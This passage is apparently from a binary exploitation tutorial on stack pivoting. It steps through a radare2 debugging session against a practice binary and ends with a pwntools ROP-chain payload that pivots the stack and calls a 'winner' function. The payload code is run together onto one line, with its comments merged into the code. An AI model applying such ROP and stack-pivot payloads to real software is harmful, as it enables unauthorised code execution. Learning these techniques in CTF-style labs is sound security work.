If you're careful, you may notice the mistake here, but I'll point it out in a sec. Send it off, attach r2.
$r2 -d -A $(pidof vuln)
[0x7f96f01e9dee]> db 0x004011b8
[0x7f96f01e9dee]> dc
hit breakpoint at: 4011b8
[0x004011b8]> pxq @ rsp
0x7ffce2d4fc68 0x0000000000401225 0x00007ffce2d4fc00
0x7ffce2d4fc78 0x0000000000000000 0x00007ffce2d4fd68
You may see that only the gadget + 2 more values were written; this is because our buffer length is limited, and this is the reason we need to stack pivot. Let's step through the first pop.
[0x004011b8]> ds
[0x00401225]> ds
[0x00401226]> dr rsp
0x7ffce2d4fc00
You may notice it's the same as our "leaked" value, so it's working. Now let's try and pop the 0x0 into r13.
[0x00401226]> ds
[0x00401228]> dr r13
0x4141414141414141
What? We passed in 0x0 to the gadget!
Remember, however, that pop r13 is equivalent to mov r13, [rsp] - the value from the top of the stack is moved into r13. Because we moved RSP, the top of the stack moved to our buffer and AAAAAAAA was popped into it - because that's what the top of the stack points to now.
Full Payload
Now we understand the intricasies of the pop, let's just finish the exploit off. To account for the additional pop calls, we have to put some junk at the beginning of the buffer, before we put in the ropchain.
payload =flat(0, # r130, # r140, # r15 POP_RDI,0xdeadbeef, POP_RSI_R15,0xdeadc0de,0x0, # r15 elf.sym['winner'])payload = payload.ljust(104, b'A')# pad to 104payload +=flat( POP_CHAIN, buffer # rsp - now stack points to our buffer!)